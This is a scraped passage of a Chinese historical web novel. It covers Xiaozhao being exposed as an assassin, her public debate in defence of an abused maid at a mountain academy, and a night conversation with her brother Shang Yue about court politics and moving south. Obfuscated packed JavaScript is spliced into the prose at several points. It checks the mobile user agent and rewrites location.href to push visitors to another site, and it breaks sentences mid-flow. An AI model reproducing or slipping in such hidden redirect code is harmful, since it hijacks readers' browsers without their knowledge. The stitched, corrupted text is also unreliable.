冷铁硌在二人的掌心,小昭想要抽手,他却愈发用力,紧紧盯着她道:“去岁,我随大司马往东郊秋猎。你说未曾见过如此盛大的集会,要我带你同行。当日,大司马在青帝山中遇刺,所幸箭势被一头公鹿挡了一挡,只划破了他的肩头。” “为寻刺客,东郊被封了三日,满城权贵幕天席地,吹了三夜冷风。我领禁内十二校尉上下彻查,一无所获。好在临近国朝大祀,杀生不祥,众人才全须全尾地回了洛阳。” 商谨虽然辞官,朝中门生故吏却不少,冯凭入朝后一直有意起用商樾。元康七年初春,商樾再无法以“年少”为托辞,受举孝廉为郎,跟随冯凭左右。 至秋猎出行时,他已拟迁左中郎将,官至四品,秩比二千石,恩爵许留,只等弱冠受封。 升迁如此之快,非高姓士族不可,时人议论纷纷,说商樾颇有其父兄之风。 “是啊,刺杀事后,兄长上书称自己无能,又缠绵病了一场,实在无法继续随侍大司马。大司马关切,前后遣了五名医正前来探望,确信兄长不是装病后,终于许了你辞官的奏表。” 小昭望着他,眨了眨眼:“所以,兄长为何旧事重提?” “我曾仔细拆过那支刺杀大司马的翎尾羽箭,尤其是箭簇,”商樾回望着她,“那箭簇与官制的三叉箭簇看似一般无二,实则略轻了一点点。我借了宫中的琉璃光镜仔细钻研,发现它多镂了一处淬毒之地,箭翼的倒钩也比寻常弯了半分,若入骨肉,毒性更重,发作更快,更为难取——如此细腻精湛的工艺,远非一般匠人所有。” “为怕株连,我并未声张此事,只将箭簇封印到了廷尉府中,暗自调查,却一无所获。可今日,在你案前拾起此物的一刹那,我突然发觉,它与那枚箭簇,是一样的。” 商樾握着她的手,又走近了一步,熏衣的冷香温存地拂过她的面孔。 “所以,元康七年秋猎,东郊那场天下皆知的刺杀,是你所为。” “你,去刺杀了冯凭。” 没有疑问,十足肯定的语气。 他越说越用力,逼得那枚箭簇深深陷入了彼此的掌心,小昭抿了抿嘴,避开他的注视,良久方有些不甘地道:“那箭簇,我一共制了五枚,已尽数销毁。你拿到的应是我大意丢下的残次品,必定与廷尉府中那枚有差,就算被旁人发现,也定不了我的罪。” 商樾问:“是子望怂恿你所为?” “不,”小昭冷冷道,“他全数不知,是我一个人干的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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商樾随着她出了凉亭,在她伞下缓步走着,甚至微微倾身,让她不必举那么高。 闻听此话,他挑了挑眉:“何事?我已辞官,带你去秋猎这样的事,恐怕如今是做不到了。” “不是不是,”小昭有些心虚,“是……我上次去广润寺见令君,令君说,要在秋日为我举行笄礼,请兄长为我取字。” 商樾没料到会是这个要求,一时有些怔然,良久才笑了一声,开口道:“好。” 他伸手取过她手中的伞柄,轻声道:“多谢你的贺礼。” 小昭摇了摇头,正要再说些什么,便听见林中遥遥传来了陆峤的声音:“小昭,表兄——” “出事了出事了出事了!” 小昭本以为这是陆峤为从商樾手中“解救”她编出的借口,不料他跑到近前,抓住了她的胳膊,急切神色不似作伪:“我找了你们许久,快来。” 商樾盯着他紧抓小昭的那只手,眼神微动。 小昭茫然问:“出了何事,谁出事了?” 陆峤瞥商樾一眼,吞了下口水。 “是……卫夫人。” 17.采薇(三) 采薇(三) 既是卫姯之事,商樾便不能袖手旁观。二人跟着陆峤一路往书院前山走去,途中听他絮絮将事情经过大致讲了一遍。 今日落了罕见的细雨,书院便没有开课。大多数人自发聚于山门之前,向天雨祈祷来年降福消灾。 如此,书院后山便空了下来。 一群平素便时常犯禁的学子借此机会,偷偷开了一场宴会。 席间美酒不断,天然一段风流。众学子早向往竹林七贤般纵情肆意的生活,于是在竹林间披一块薄纱,淋雨相会,饮酒、高谈、奏乐,兴之至时还宽衣解带、席地而睡。 幸而书院山长邓延平生最厌五石散,严令禁止此物入山。饮酒尚可遮掩,吸食五石散却无处遁逃,众人敬畏邓延,未敢做出更出格的事。 这一场宴会自午间始,两个时辰后便匆匆结束。众人各自收拾,打算回屋酣睡到天亮,次日痕迹全无,宴会饮酒犯禁之事,必定神不知鬼不觉。 但其中有一人,在酒宴结束后并未回房。 此人是颍川商氏族中公子,名亦,字伯如,行十,母亲早亡。其父罢官之后便寻隐山林,全然不管家中之事,将他丢给了自己的弟弟、颍川商氏如今的主事之一商稷教导。 商稷怜他年幼失母,对他多有宽纵,又忧心他为人所欺,知会书院上下关照他。谁料时日久了,竟将他养成了个横行霸道、肆意妄为的性子。 这些年,商稷在洛阳城中为商亦收拾了不少烂摊子,幸而南山书院中规矩森严、长幼有序,他身处其中,收敛不少。 但今日,友人挖出了藏在后山的几坛美酒,商亦畅饮开怀,眼花耳热,独自回居所时,撞见一貌美女婢,色心顿起,便不管不顾地将她挟持到了林中,欲行不轨之事。 婢女挣扎反抗,混乱之间抄起手边的山石,将他砸了个头破血流。 商亦大怒,捂着额头回去后,立刻遣了随身的仆役来抓人,一来二去将事情闹得沸反盈天。最后他们在前堂中寻到那胆大的婢女,方知这是卫姯的仆役。 卫姯不肯放人,听说事情原委后,反而冷笑一声,将事情捅到了邓延处。 几位主事的夫子如今都被请到了书院最大的平风堂中,陆峤去取商樾为他捎来的信,将事情始末听了个囫囵。 小昭出神地看着站在众人之间、脊背挺直的卫姯。 卫姯出身书礼世家卫氏,承教于族中名士,出嫁前是闻名洛阳的才女。 陆峤曾详尽地为她讲述过卫姯与商柏那一段为世人津津乐道的婚事,说卫姯年少时扮男子出游遇险,恰好为尚在禁内任骑都尉的商柏所救。 他发现了她的女子身份,但并未声张,送她回府时还不咸不淡地教训了几句。后洛水集会重见,卫姯对他的教训不甚服气,刻意刁难,商柏读不懂她的诗赋,只好频频饮酒。 少年公子酒量不佳,几盏下来便已薄醉。 见此情状,卫姯反倒有些心虚,亲手为他奉了解酒汤。 彼时她已议婚一年有余,因不满被族中诸老安排的婚姻对象,时常在祠堂中罚跪。商柏得知此事后,未经多少犹豫,便请父亲择了良辰吉日,亲自登门,向卫氏求亲。 能与炙手可热的江陵商氏嫡长子结亲,卫氏喜出望外,忙不迭地应了下来。成婚之后,卫姯与商柏琴瑟和鸣,在整个洛阳城都是一段佳话。 然而她最著名的事迹,并不是这一场在夫君战死前圆满至极的婚事。 江陵与颍川的商氏两支自前汉交好,虽文武各分,但同在帝都为官,族中子弟同气连枝,与本家无异。颍川尚儒,于是那些老夫子们精心编纂的家规族法便作通行。 卫姯嫁入商氏不久后,江陵族中一子因病而死,留下孤女寡母。族法不许宗妇改嫁,因其无子,为万无一失,甚至要剜她一耳一目,以保其永不出逃。 对此族规,卫姯愤怒不已。商柏出征未还,她便独自在商氏祠堂前与阖族长老清谈论辩,将众人驳得哑口无言,最终护下了那名女子。虽其仍旧不可改嫁,幽于族中教导女儿,但发肤无伤、体貌无损,感激涕零。 几年后,商柏战死。 商谨入寺,商樾尚且年少,卫姯无儿无女,被同议了剜目之刑。那曾经被她救下的女子带着阖族宗妇,乌压压在祠堂门口跪了一大片,以有前例为由,废除了这条族规。 后商樾长到十五岁,将邓延请入族中,邓延考校过卫姯于天文、历算及校书上的才学后,聘其入南山书院,教导同族子侄。 小昭与卫姯同住两年,伙同陆峤鬼混闹出的事情,卫姯比商樾知道更多。然而她从未教导过她要循规蹈矩,每次得夫子告状也是淡淡的,说她尚且年少,只要不出格,便随她去罢。 她不爱管闲事,亦懒得多说话,小昭很难想象出旧日她在祠堂舌战群儒的场景,直至今日,传闻才变得真切了一些。 商亦的伤处已被医官包扎好,现歪在堂中坐榻上,不住呻吟。被他轻薄的婢女跪在卫姯身后,鬓发凌乱,脸颊肿了一大块,唇角还有血迹。 然而她衣襟齐整、面色不卑不亢,并未因自己出手伤人而恐慌。 邓延沉默不语,他身边同坐的几位夫子大多是商氏本家人,见子侄重伤,纷纷道:“奴仆殴打士族公子,惊世骇闻,卫夫人当将人交与伯如。” “以贱犯贵乃死罪,卫夫人若念及同族,亲手处置更好。” 亦有人道:“伯如饮酒犯忌在先,应罚戒鞭十下,以示惩戒。” 可算巨大让步了。 卫姯只作未闻,定定道:“青芎无故受屈,情急动作,何谈抵命?此为我之奴婢,十公子辱之,情同辱我。” 此言一出,四座皆惊。 自中原灾荒爆发以来,平民尚且水深火热,奴役或是卖身入府、或是遭受掳掠,或是犯罪遭贬,既无籍契,又无亲族,身同畜产,可遭主人随意打杀,从未闻主人说“情同辱我”来自贬身份。 一老者气得胡须倒跳:“夫人慎言,天生乾坤万物,所谓‘卑高以陈,贵贱位矣’。若卑不处卑、高不处高,地在上,天在下,则万物尊卑贵贱不得其位,天下大乱!你身为朱门贵女,入我山中,何敢自甘堕落,罔顾尊卑?” 卫姯抬头看他,轻蔑地笑了一声,尚未开口,便听一侧席中传来一清脆女声:“夫子此言差矣。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14804638|156673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 商樾看向身侧扬声开口的小昭,下意识地牵住了她的衣袖,小昭察觉到他的阻拦,蹙着眉朝他看了一眼。 商樾缓缓地松开了手。 他没有避讳旁人,只道:“你去,不必忌惮。” 陆峤从二人中间探出一个头,小声惊叹:“你要去和他们吵架,能吵得过么?” 小昭没理他,径自上前,将卫姯身侧的青芎扶了起来。 卫姯颇为惊讶地看了她一眼。 小昭看着她脸颊的淤青、颈间的抓痕,心中隐隐作痛。 在这一刻,她清楚地回想起了东苑大火那日的清晨——她被园中的掌事和仆役所抓,毫无反抗之力地丢进黑暗的监牢里。身侧是一双双女子呆滞的眼睛,她拼尽全力逃亡,无一人愿与她同行。 掌事抓她是为了献给杀人取乐的“三公子”,而眼前的“十公子”与那暴力嗜杀之人有何区别? 满堂衣冠亦是他的帮凶。 所幸,她这次不再是一个人逃亡了。 青穹膝盖有伤,起身颇为费力,小昭稳稳地托着她,低声道:“站好了,站直一些,像阿嫂一样。” 先前说话的老者被她打断,心中颇为不满,见她上前来又不回话,不由转向商樾道:“二公子,老夫知你妹妹寻回不易,多娇宠了些。可她数次离经叛道,你不管便罢了,今日你就在堂间,族弟受伤,难道也要置之不理?” 商樾叉手冲他行了一礼,谦和笑道:“她与阿嫂同住,护亲之情拳拳,如何能拦?再说,晚辈亦知,伯如阿弟幼失怙恃,由各位族老看顾长大,多娇宠了些,今日明些事理,来日也好少犯禁。” 老者从未听他这么说过话,一时竟不知如何回答,怔愣之间,小昭便道:“夫子方才说,天生乾坤万物,尊卑贵贱有别,晚辈没有听懂,何为尊卑、何为贵贱?” 不等对方回话,她便微微笑起来,飞快地说:“夫子亦道,乾上坤下,天高地迥,不可颠倒,乱位则万劫不复。可青天浩荡无人,地载万物,照夫子所言,高天之下,人也不过是卑贱之躯。既同为卑贱之躯,怎么还要分高下,莫非我们平素都是在仆役的肩膀上行走不成?” 堂中一阵微小的嗤笑,老者怒拍桌案,喝道:“诡辩之辞!乾坤天地,难道仅是肉眼可见之高低?尊卑贵贱总兼万物,便是同在一苇之中,亦有区分。人立天地之间,为神采生灵,则人为贵,万物为轻;人群之中,天子为贵,黎庶为轻;天子之下,又有累世积善而居朱门者,蒙昧无知而居山野者。宇宙之序,便在重重分野之间,世无序不立,人无序则乱,你小小年纪,何敢妄谈?” “夫子已本末倒置,为何斥我诡辩?”小昭面上神色不改,“乾天之高远,在于日月星辰之难攀、之不可得;地坤之亲切,在于流水山川之唾手、之咫尺可见。由此说来,难求为尊贵,易得为卑贱——财富、家世、身份,千百年间流云变幻,更叠之迅速,青史相传;反倒是崇真、向善、不卑不亢,敢为不可为、敢为天下先,敢顺己心从事之精神,万世难求。” 她向前迈了一步,直直地看着堂上,提高了声音。 “再问夫子,谁贵,谁贱?” 18.采薇(四) 采薇(四) 堂间鸦雀无声。 老者气得手抖,正要再度开口,一侧的邓延忽然睁开眼睛,拍了拍手。 “不料今日未开集会,也能听到一场如此精彩的论辩,辞不足而旨有余,小昭此番玄谈……”他先将视线投向一侧的老者,后转头看她,眨了眨眼,“颇有其父之风。” 眼神中似有一丝狡黠,不知是不是她的错觉。 山长既然开口,这一番争论便作了结。众人都暗自松了一口气——方才哪个气盛、哪个气竭,几乎一目了然,虽说老夫子仍有满肚谈词欲辩,但对上这样气焰昭昭的少年人,“势”便弱了一半。 势弱则易落下风,况且二人年纪相差如此之大,真让他输给年方及笄的女郎,还不知要闹出怎样风波。 “商氏以儒立家,南山书院门前石碑所镂,亦是‘守正问心’之训。饮酒任诞之风,虽当今世风崇尚,非我所有。”邓延起身下行,缓缓道,“伯如年少,血气未定,然‘欲不可去,求可节’,你今日所为,犯禁在先,违拗君子之道在后,吾以山长之名,逐你出山。” 商亦不料有此处罚,彻底傻眼,回过神来才噗通跪下,连连叩首:“邓先生,弟子、弟子知错!” “与伯如同饮者,抄书十卷,皆罚戒鞭,至于……”邓延却未理会,只是转向一侧的青芎,叹了口气,“下犯上乃大逆,然你非书院中人,吾不便开口。今亦逐你出山,是否送去廷尉……” 他意味深长地顿了顿,商樾立刻上前一步,拱手道:“不劳恩师思虑,此为樾宅邸仆役,我自会将其带回,依律处置。” “甚好。” 邓延满意道:“山雨未停,今日之事暂作此论,散去罢。” 他一番言论看似公正,但商亦与青芎身份之别有如云泥,这般处置,已是实打实的偏袒了。 众人虽心知肚明,也不好多说什么——先不论邓延与商谨乃忘年交,关照其长子未亡人本在情理之中,便是卫姯本人平素也是教习严谨、持身中正,谁也挑不出什么错来。 看来这个罚,商亦只能老实认下了。 然而有人觉得邓延偏袒青芎,亦有人对结果不满,譬如吵架没吵痛快的小昭。她上前一步,正想再说些什么,卫姯便伸出一只手,拦在了她面前。 她屈膝跪了下来,另一只手从发髻间取下了书院女师皆需佩戴的银制五兵佩,将它轻轻地扔在了地上。 钺形银笄在地面上跳了一下,发出清脆的一声响。 邓延愕然道:“文君,此为何意?” “山长,”卫姯朝他深深叩首,向来淡漠的面上终于露出了半分凄然之色,然而那声音却是坚定的,“书院非我之南山,采薇不可得,文君,请去。” * 卫姯执着求去,邓延也无法。傍晚雨停之际,商樾备了辆并车,将卫姯、青芎和小昭一同接回了府中。 小昭陪伴长嫂回府,原是有些担心,谁料卫姯并不似她所想般怅然,一路上神采奕奕,还与她玩笑了几句。 今日之前,两人并无如此亲密,小昭见她情状,忍不住好奇:“阿嫂说,‘书院非我之南山’,可当年,阿嫂便是从商氏宅邸中‘逃’出来的,此番为何一定要回去?” “我只是察觉到,世间无我所想之地,在此处,与在彼处,都是一样的。”卫姯托着腮答道,“当年来南山,是尚存出世之心,以为家宅之外会有所不同。如今回去,是此心已灭,还不如闭门谢客,余生书山相伴,也算不枉了。” 小昭道:“阿嫂若寻不到南山,便该在书院上再造一个新南山出来才是!我从前……也一心想寻觅一个根本不存在的地方,遍寻不得,徒增心伤,几乎断绝求生之念。但有一日,我对着太阳,忽然想明白了,南山不可求,能求的不过己心罢了,只要我执着地、一刻不停地为自己搭建,总有一日,它会拔地而起的。” 卫姯讶异地看着她,忽然笑了一声:“小昭,你真的……很不像商氏族人。” “那……我等着你的山拔地而起的那一日,若真等到了,便接我到你的山上去罢。” 小昭见劝不动她,只得作罢,肃然承诺道:“肯定能等到的。” 卫姯点了点头,又道:“只是在那之前,我还有一件事要拜托你。” 小昭忙道:“阿嫂但说无妨。” 卫姯拉着青芎的手,放在了她的手中:“青芎尚且年幼,何必伴我苦修?再说,族中不安宁,若那商亦再找上门来,我未必能护住她。” 青芎泣道:“女公子……” 卫姯只对小昭道:“你教她学些傍身功夫罢,颠簸世道,也好少受些伤。只是书院已将她逐出,她又得商亦记恨,跟在你身边,只怕……会有些麻烦。” 小昭握住了青芎的手:“阿嫂放心,我最不怕麻烦。” 卫姯松了口气,神色又冷了些:“幸而那禽兽不如的商伯如已去,倒是便宜了他……” 小昭暗暗磨了磨牙,笑眯眯地道:“未必。” 后来,她私下去寻了虽居于广润寺中、但时常混迹于洛阳市井之间的黄鼬,叫他等此事风头一过,纠集几个流氓少年,寻个机会将商亦痛打一顿,最好打得他永世不能人道。 黄鼬和当初跟着她的几个男孩得她接济,衣食无忧,在洛阳周遭混得如鱼得水,什么样的消息都能打探到。他们甚至还与周遭一山头的山匪结拜,包揽了劫道、恐吓、散布流言以及其余种种不能见光的活儿。 私下里,黄鼬一直没有放弃寻找阿树,可惜这么多年了,从未打探到过她一丝痕迹。 得小昭嘱咐,黄鼬信誓旦旦,一定将此事办好。 但还未等他动手,那商十公子便在一次醉酒夜归中失足掉下了河渠,尸身第二日才被人发现。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14809602|156673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小昭总疑心此事并非意外,但又寻不到影儿,只得作罢,当他遭了报应。 这是后话。 * 江陵商氏的宅邸亦建在内城之中,与颍川商宅隔墙相邻,离铜驼街更近。小昭每次自西明门入城回府时,还会路过韩氏的旧宅。 旧宅中早已换了新臣,思过楼上时常传来饮宴的乐声。小昭还去洛阳郊外寻过她当年脱身的密道,找了许久,一无所获,几乎疑心那遭遇是火焰中的幻梦。 她又陪卫姯说了会儿话,安置了青芎,见天色不早,便知只能等明日再回书院了。 商氏为她这尊贵的商谨“独女”准备了一处富丽堂皇的独馆,馆中琳琅满目、婢仆希声,可小昭在此处居住的日子加起来也不到十日。 她在房中转了一圈,觉得此处寂然,躺在榻上又睡不着,辗转半晌,便端了盏灯,遣开婢仆,打算在园中走走。 在卫姯房中陪她说话时,她听了不少关于商樾的事。 青芎一直贴身跟着卫姯,对商氏旁人并无了解,有些担忧自己真的要被送到廷尉府中去。卫姯宽慰了她,又破天荒地对小昭说了许多。 “你我之前不曾交心,我也不知你的来处,但既然令君认下了你,你便是良玉在宅中唯一的亲人了。他虽看似温柔可亲,但言行举止,总无端叫人觉得冷清,你莫要觉得他的关怀是假意,他只是……润成尚在之时,他不是现在的性子。” “润成”便是商柏的字。 小昭低低地“啊”了一声。 卫姯为她理了理发丝,回忆道:“我初嫁时,他还有些像年轻时的令君,小昭不知道罢——我父亲对我说过,令君初入官场时,是个锋芒毕露的人,遇事不肯退让一步,还曾因气傲被贬过,后来年岁渐长,才稳重下来。良玉少时也是如此,爱玩乐、□□会、爱乐曲、爱漂亮文章,他本非商氏长子,兄长勤勉上进,父亲位高权重,无人刁难,自由自在。” “后来,一切都变了。” “润成去时,他只有十二岁,令君入寺后,商氏阖族诸老将他房中所有珍爱物件,陶响球、铜鸠车、双陆棋盘,还有他亲手所制的孔明连环锁,在窗前的荷塘中一把火烧了个干净。他跪在塘前眼睁睁地看着,他们问他心不心疼,他起先还说‘还我’,挨了许多戒鞭,后来就什么都不说了,只是微笑。” “随后两年,他四处行善,广修伽蓝,除了不肯入仕一条,桩桩件件都做得极好。那些日子我悲伤过度,他性情大变,也生分了些,谁知,后来他将邓山长请入府中,送我去了南山。” 小昭边走边回忆着这些言语,手中的灯飘忽不定。 等她回过神,才猛地发现自己已经来到了商樾的门外,房中灯火幽微,夹杂着几声轻轻的咳。 她抬起手来,叩了叩门:“兄长……” 半晌,房中才传来他的声音:“进来罢。” 19.心催(一) 心催(一) 在商宅待的时间太少,先前见面也多在人前,说起来,这还是小昭第一次入他房中。 室内点了他常熏的那种冷香,青铜博山香炉立在屏风前,将缭绕如云山的雾一圈一圈地送入他悬挂的衣衫当中。她越过这段如梦似幻的烟,看清了此处的布置——一案一榻,一屏一灯,并半墙古书,少见其他装饰,雪洞一般孤清。 商樾坐在案前,搁了手中的玉笔。 他拆了发冠,却还未将头发尽数散下来,鬓发便不如往常整齐,碎丝贴耳,略显凌乱,倒多了一丝人气儿。 小昭走近了些,看见案前摆了一座十三盏连枝灯,影子疏疏落落地映在他身上。 那灯本是仿树而制,一树十三枝,此时只点了最上的一盏。她觉得室内光线蒙昧,便踮起脚,借着手中那盏几乎燃尽的灯,将每一枝都点燃了。 于是温暖的火光充盈满室,在屏风上留下跳跃的影子。 他在一侧耐心地看着她动作,随后伸手示意她坐在自己对面,温声问道:“怎么来了?” 小昭道:“夜里睡不着,走到了兄长门前。” 她见他面前的左伯纸上密密麻麻,忍不住好奇道:“兄长在写什么?” 商樾迟疑了片刻,方才开口:“前些时日,颍川与江陵族中诸伯、主事密入广润寺,同父亲秉烛相会,谈了整整一夜。” “什么样的大事,竟能惊动阖族之人?”小昭讶然,“你也在吗?” 不怪她惊讶,商氏族老等闲不管外事,颍川几个位高权重的在朝之臣更是慎重,虽为同族亦鲜少相会,以求避嫌。 商樾点了点头:“会上无小辈,只有我在。” 他眼睫微颤,忽然对她说:“天子病危了。” 小昭蹙起了眉。 商谨并不避讳与她提及朝中事,书院清谈有时也会畅所欲言地谈论国政,这些年耳濡目染,韩仪说过的话在她脑中越来越清晰,只这一句,她就嗅到了逼近的危险气息:“所以,大司马近两个月,都没有出禁宫?” “天子病危,储君目盲良久,不便侍疾,此事便由大司马代劳。”商樾道,“禁内守口如瓶,所幸御前有商氏门生,他递出消息说,天子恐怕捱不到来年春日了。” 小昭立刻明白了这一场集会的用意。 冯凭虽据洛阳四年之久,但各地叛王并未死心,同时,西北诸胡、东北新兴的游牧民族皆对中原虎视眈眈,神器承继之间若有什么差池,国朝危如累卵。 若天子薨,内乱起,铁蹄南下,朝中可有足够兵将四面作战? 盘踞洛阳周遭的大世家忙于修筑坞堡,各自为政,风雨欲来之际,谁敢压上家族几百年的荣光,做潮头振臂之人? 小昭虽鲜少与这些士族话事者打交道,但观其小辈言行,便知众人皆以“自保”为第一要义。 商氏这一场集会,便是要议定家族前路。 “不知令君……”小昭出神地思索着,听见商樾又咳了一声才急忙改口,“父亲是如何想的?” 商樾勾起唇角,慢慢悠悠地说:“商氏祖训,愿做纯臣。” 他的笑大多时候都浮在面上,虚虚实实,是情绪的掩饰,这一句居然含了调侃之意。小昭怔了一怔,顺着他的话笑起来:“所谓纯臣,便是两边不站,兄长反复辞官,难道就是为了践行那一个‘纯’字?” 商樾撩起宽袖,在纸上画了一个万字纹。 “朝野诸臣,或选择投诚,成为了大司马心腹;或忠于天子、忠于储君,辞官归隐,不问世事;或……东奔青、兖,企图在鲁王手下寻一席之地。” 他将“卍”的最后一条线画长了许多。 “父亲说,苟且偷安已是死路,商氏根基深厚,若不能为冯凭所用,必罹灭族祸患。为今之计,只有另辟扎根之地,才能避开中原乱局。” 那条线转了两个微小的弯,消失在了纸张右侧。 “大江,之南,”小昭盯着那条曲折的墨线,缓缓地道,“令君……希望商氏南渡?” “颍川诸伯认为父亲异想天开,况且,父亲想去的还不是江陵本族,而是江东。”商樾面上笑意淡了一些,“当年,世人皆好奇权倾一时的中书令为何辞官,非为我兄长之故,而是自那年起,他便有了选择。” 小昭喃喃道:“选择……” “是啊,”商樾拾起面前的左伯纸,随意地在灯上燎了,“储君乃天子与温皇后嫡子,可国朝的嫡子,不止有一个。” “——还有长公主,”小昭如梦初醒,一时几乎说不出话来,“这么说……自元康元年政变起,令君便在准备这一日。” “稷伯父临走前说,若要南渡,请江陵一支南渡。颍川没有族人任职江东,也没有族人做过长公主的侍读。”他口气有淡淡的嘲讽之意,“集会争执不下,最后也未作定论。” “那你怎么想?” “我?”商樾垂着眼睛,反问了一句,“你呢,小昭,你愿意离开生你养你的中原,渡江而去吗?” 去会稽见长公主不是她曾以为的易事,北方乱局不知何时能平,这一去,或许一辈子都不会回来了。 可为与韩仪的千金一诺,这滚滚大江,她必定要渡。 “我愿意。”小昭斩钉截铁地说。 她将手掌覆在胸前,按了按那块已被她的身体养得温热的佩玉。 狐死首丘,代马依风,中原士人们有抒不尽的乡愁。但于她而言,过去早已泯灭为元康二年昏红的天空,她走到哪里,哪里便是故土。 商樾在灯影下凝望着她,有些怔愣。 看久了,几乎产生幻相。 他至今都能清楚地回想起初见她的画面。 那一年,他不顾族人反复告诫的“明哲保身”,闯入梓泽大火中,去救凌氏的三公子,凌佑。 ——说与三公子有什么情谊,也算不上,他早年浮华烂漫,不知天下人心叵测,交友亦如走马观花。 直至商柏的棺木被埋入邙山。 天长日久,曾经名满京都的少年将军被世人遗忘,江陵商氏也沉寂下去,坟冢前冷清无人。 两年间,只有凌佑上山拜祭过他,真切地为他哭过一场。 商樾与凌佑不过杯酒之交,然而那天他从东郊归城,看见远处的火光,莫名其妙地想起了凌佑在兄长碑前立誓的情景,少年面色严肃,三指指天,说以后要成为和他一样的大英雄。 那夜在东苑中的凌氏子侄,只有凌佑一人活了下来。 商柏死后,商樾一共任性过两次。 这是第一次。 他去救算不上朋友的朋友,却在火光纷飞的小园门前,撞见了眼神锋利的少女。 她不领他的情,不在乎逼近的生死安危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14812197|156673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,满心都是她的“阿母”。他将披风赠与她,她死死地抓住系带,生怕他要回去,但直到离去,都没有道一声谢。 商樾从未见过这样的婢仆,不感激涕零,不卑躬屈膝,急于回到亲人身边,仰头看向他时,眼神警惕凶狠,像是溅了园中的火光。 被她牵肠挂肚的亲人,是幸福的。 他想,就算一同死于非命,应也心甘情愿罢。 第二次任性,他也是为了他的“阿母”。 端午是母亲忌日,可商樾在族中主持祭礼,未被允准出门。次日,他偷偷出逃,被几个族叔发现,行了家法。 祠堂中供的戒鞭上有倒刺,他受了二十鞭,背上洇红一片,连痛楚都麻木。仆役被族叔喝退,他便孤身一人,一步一步走回房中,商氏宅邸偌大,没有他的亲人,连个敢为他送伤药的人都没有。 商樾伏在案前,做了一个梦。 具体梦见了什么,记不清了,醒来后脑中只有一个强烈的念头——他要出门去,他要逃出这座阴森的宅院,奔赴未知的命运,去见一个一定要遇见的人,哪怕死在半道上,他也要闯出去! 然后,他又见到了那双明亮的眼睛。 山郊野道,夏日如此荒芜,四周分明不见野火,可她的眼神与当年分毫未变,仍然那样炯炯有神,闪烁着光焰。 生平第一次,他被这样的眼神蛊惑,带着她骑上了他的白马。 少女身上弥漫着血腥气,他没觉得脏污,反而有些难明的兴奋——这样带着野性的、天然的生灵,正在他的怀里,恩情斩不断、磨不灭、后悔不得,她就这样成为了与他紧密相连的存在。 商樾这些年捐了无数座浮屠,但广润寺中多为商氏故交后嗣、落难家仆,小昭并不知道,他不愿与单独的“人”勾连,她是他第一次主动带回的孤儿。 所以,在商谨轻而易举地笼络了她时,他感受到了一种无来由的、无理的背叛。 所以,在商谨突兀开口,要认她做“女儿”时,他孤零零地站在一侧,感觉她也被父亲扔到他窗前的荷塘,一同烧掉了。 火光带着幻相,在灯前的小昭面上张牙舞爪,而她迟钝地感受到了商樾过久的出神,迟疑地唤了他一句:“兄长。” 他不语,小昭便凑近了些,改口叫:“哥哥。” 商樾缓缓地抬起眼睫,看见她近在咫尺的面孔。面孔上熟悉的眼睛眨了几下,闪烁着一种动人的关切。 这关切,竟是为他而生的。 幻相倏然消散。 荷塘中的灰烬飘回他的窗中,为他铸了一盏连枝共燃的夜灯。 或许,他想,这就是我最后的亲人了。 于是商樾低低地应了一声:“嗯。” 小昭抬头看向他松散的鬓发,回忆起卫姯说过的话。 商樾十二岁便被商谨丢在这空荡宅中,孑然一身,她承了他的恩,却未领他的情。走到门前,或许也有缓和先前关系的意图。 今日是他二十岁的生辰啊,可若她不来,长夜漫漫,与他相伴的竟只有一盏未明孤灯。 小昭想到这里,忽生一阵难言的怜悯。她站起身来,回忆起书院好友所述与兄长的亲密情形,便走到他身后,尽量放轻了声音。 “兄长尚未梳洗,我来为你……篦发罢。” 冰凉的手指拂过他受过伤的脖颈,带来一片弥漫的颤栗。